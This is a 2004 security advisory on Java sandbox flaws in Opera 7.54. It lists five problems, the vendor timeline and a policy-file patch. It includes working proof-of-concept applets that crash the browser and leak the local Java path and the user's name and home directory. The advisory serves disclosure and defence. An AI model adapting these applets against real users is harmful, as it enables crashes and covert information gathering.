Java Vulnerabilities in Opera 7.54

From: Marc Schoenefeld (schonef_at_uni-muenster.de)
Date: 11/19/04

  • Next message: advisories: "Corsaire Security Advisory - Danware NetOp Host multiple information disclosure issues"
    Date: Fri, 19 Nov 2004 18:04:35 +0100 (MEZ)
    To: security@opera.com
    
    

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    Illegalaccess.org Advisory: Opera 7.54 Java vulnerabilities
    Author: Marc Schönefeld, www.illegalaccess.org
    Summary
    Opera 7.54 is vulnerable to leakage of the java sandbox, allowing malicious
    applets to gain unacceptable privileges. This allows them to be used for
    information gathering (spying) of local identity information and system
    configurations as well as causing annoying crash effects.
    History
    Discovery and vendor informed: 01 Sep 2004
    Public Disclosure: 19 Nov 2004
    Solution
    Opera Software has eliminated the vulnerability in current 7.60 beta
    versions. The 7.54 version can be cured by applying a patch to the file
    opera.policy to achieve the same effect.
    Affected Version
    Opera 7.54 for all platforms, although several exploits were only tested on
    win32. Prior versions may also be affected.
    Problem 1: Problem with Java Policy settings
    In contrast to other major browsers which use the Java Plugin, Opera uses
    the JRE directly with a proprietary adapter. Opera also introduces it's own
    default policy, allowing unprivileged applets access to internal
    sun-packages by specifying in Opera.policy:

    grant {
       permission java.lang.RuntimePermission "accessClassInPackage.sun.*";
    };
    This opens the gate to some undocumented functionality and violates Sun's
    guidelines for secure java programming. These lines should be commented out
    to get rid of the vulnerabilities shown in the later text. An attacker could
    crash the browser or do some other annoying things harmful to the user. Just
    like with the following proof-of-concept to trigger a native debug
    assertion:
    import sun.awt.font.*;

    public class Opera754FontCrashApplet extends java.applet.Applet{
     
      public void start() {
          int j =
    javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org | Step1
    Opera 754 FontCrash, wanna crash? ");
          if (j == 0)  {
           NativeFontWrapper.getFullNameByIndex(Integer.MIN_VALUE);
           NativeFontWrapper.getFullNameByIndex(Integer.MAX_VALUE);

       }
     }
    }
    The default java appletviewer which implements the same security mechanisms
    than the Java plugin complains with the following message instead of
    executing the method invocation:
    java.security.AccessControlException: access denied
    (java.lang.RuntimePermission
    accessClassInPackage.sun.awt.font)
           at
    java.security.AccessControlContext.checkPermission(AccessControlConte
    xt.java:269)
           at
    java.security.AccessController.checkPermission(AccessController.java:
    401)
           at
    java.lang.SecurityManager.checkPermission(SecurityManager.java:524)
           at
    java.lang.SecurityManager.checkPackageAccess(SecurityManager.java:149
    1)
           at
    sun.applet.AppletSecurity.checkPackageAccess(AppletSecurity.java:190)

           at sun.applet.AppletClassLoader.loadClass(AppletClassLoader.java:119)
           at java.lang.ClassLoader.loadClass(ClassLoader.java:235)
           at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:302)
           at Opera754FontCrashApplet.start(Opera754FontCrashApplet.java:9)
           at sun.applet.AppletPanel.run(AppletPanel.java:377)
           at java.lang.Thread.run(Thread.java:534)
    Opera allows all untrusted applets access to these classes by disabling the
    need to acquire a access permission for sun packages.

    In general we recommend the Opera programmers to switch the opera java
    architecture to the standards based approach and use the java plugin.
    Problem 2: JRE Packaging
    Opera 754 which was released Aug 5,2004 is vulnerable to the XSLT processor
    covert channel attack, which was corrected with JRE 1.4.2_05 [released in
    July 04], but in disadvantage to the users the opera packaging guys chose to
    bundle the JRE 1.4.2_04, being quite aware of the offical Sun advisory
    (http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/57613) reporting
    this issue, which was released a few days earlier.
    Problem 3: Internal pointer DoS exploitation:
    Opera.jar contains the opera replacement of the java plugin. It therefore
    handles communication between javascript and the Java VM via the liveconnect
    protocol. The public class EcmaScriptObject exposes a system memory pointer
    to the java address space, by constructing a special variant of this type an
    internal cache table can be polluted by false entries that infer proper
    function of the JSObject class and in the following proof-of-concept crash
    the browser.

    import netscape.javascript.*;
    import com.opera.*;

    public class Opera754EcmaScriptApplet extends java.applet.Applet{
     
      public void start()  {
                 PluginContext pc = (PluginContext)this.getAppletContext();

       int jswin= pc.getJSWindow();
       int esrun= pc.getESRuntime();
         EcmaScriptObject eso4 = EcmaScriptObject.getObject (jswin,1);
            try {
          JSObject js = JSObject.getWindow(this);
          System.out.println(js);
       }
       catch (Exception e) {
           e.printStackTrace();
       }
        }
    }
    Problem 4: Exposure of location of local java installation
    Sniffing the URL classpath allows to retrieve the URLs of the bootstrap
    class path and therefore the JDK installation directory. This is of course a
    privilege escalation for an untrusted applet. :
    import sun.misc.*;
    import java.util.Enumeration;

    public class Opera754LauncherApplet extends java.applet.Applet{
     
      public void start()  {
               URLClassPath o = Launcher.getBootstrapClassPath();
          for (int i = 0; i < o.getURLs().length; i++) {
              System.out.println(o.getURLs()[i]);
          }
      }
    }
    Problem 5: Exposure of local user name to an untrusted applet
    An attacker could use the sun.security.krb5.Credentials class to retrieve
    the name of the currently logged in user and parse his home directory from
    the information which is provided by the thrown
    java.security.AccessControlException .
    import sun.security.krb5.*;

    public class Opera754KerberosAppletPrint extends java.applet.Applet{

       public void start() {

               int j =
    javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org | Step1
    Opera 754 FontCrash, wanna crash? ");
               System.out.println(j);
               try {
               Credentials c = Credentials.acquireDefaultCreds();

               System.out.println(c);
               j =
    javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org |Got
    something for ya"+c);

            }
            catch (Exception e) {
            j = javax.swing.JOptionPane.showConfirmDialog(null,e.toString());

            }
       }

    }
    The attacker may then evaluate the following exception thrown by
    acquireDefaultCreds, which allows him to guess the operating system, the
    location of user files as well as the name of the user running the applet.
    java.security.AccessControlException: access denied (java.io.FilePermission
    C:\Dokumente und Einstellungen\Marc\krb5cc_Marc read)
    Solution:
    For secure java browsing we recommend to use a browser (such as Firefox)
    that supports the standard Java Plugin and the standard browser sandbox. For
    non-java browsing Opera may be sufficient. If you decide to continue using
    Opera then you are recommended to upgrade to the latest beta of Opera 7.60
    or apply the following patch in the java policy file (.opera.policy.) in
    your opera installation. This can be done easily by commenting out the
    following grant section.
    // Standard extensions get all permissions by default
    [...]
    //grant {
    // permission java.lang.RuntimePermission "accessClassInPackage.sun.*";
    //};
    Greetz:
    Halvar, FX, Johnny and G0dzilla..., Anne Stavnes and Christen Krogh of Opera
    Further Bugs:
    These bugs are only examples for a couple more bugs that are of the same
    kind.
    Disclaimer:
    The information in this advisory and any of its demonstrations is provided
    "as is" without warranty of any kind. Illegalaccess.org  is not liable for
    any direct or indirect damages caused as a result of using the information
    or demonstrations provided in any part of this advisory.

    - --

    Never be afraid to try something new. Remember, amateurs built the
    ark; professionals built the Titanic. -- Anonymous

    Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer
    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.2.6 (AIX)

    iD8DBQFBnievqCaQvrKNUNQRAhUUAKCAxGkyd2ijxvJ9WeHDeqmajQmndgCfT9wM
    P151JR+1gltkxFhi/H+YYtM=
    =TPTb
    -----END PGP SIGNATURE-----


  • Next message: advisories: "Corsaire Security Advisory - Danware NetOp Host multiple information disclosure issues"

    Relevant Pages

    • [Full-Disclosure] Java Vulnerabilities in Opera 7.54
      ... Opera 7.54 is vulnerable to leakage of the java sandbox, ... applets to gain unacceptable privileges. ... The public class EcmaScriptObject exposes a system memory pointer ...
      (Full-Disclosure)
    • Java Vulnerabilities in Opera 7.54
      ... Opera 7.54 is vulnerable to leakage of the java sandbox, ... applets to gain unacceptable privileges. ... The public class EcmaScriptObject exposes a system memory pointer ...
      (Full-Disclosure)
    • Rumours about Opera
      ... The opera guys use their own binding from javascript to java, ... Java 1.4.2_05 also has a vulnerability in the serialization APIs (used by ... > upgrade probably means that there is an independent bug in Opera Java ...
      (Bugtraq)
    • Rumours about Opera
      ... The opera guys use their own binding from javascript to java, ... Java 1.4.2_05 also has a vulnerability in the serialization APIs (used by ... > upgrade probably means that there is an independent bug in Opera Java ...
      (Full-Disclosure)
    • [Full-Disclosure] Rumours about Opera
      ... The opera guys use their own binding from javascript to java, ... Java 1.4.2_05 also has a vulnerability in the serialization APIs (used by ... > upgrade probably means that there is an independent bug in Opera Java ...
      (Full-Disclosure)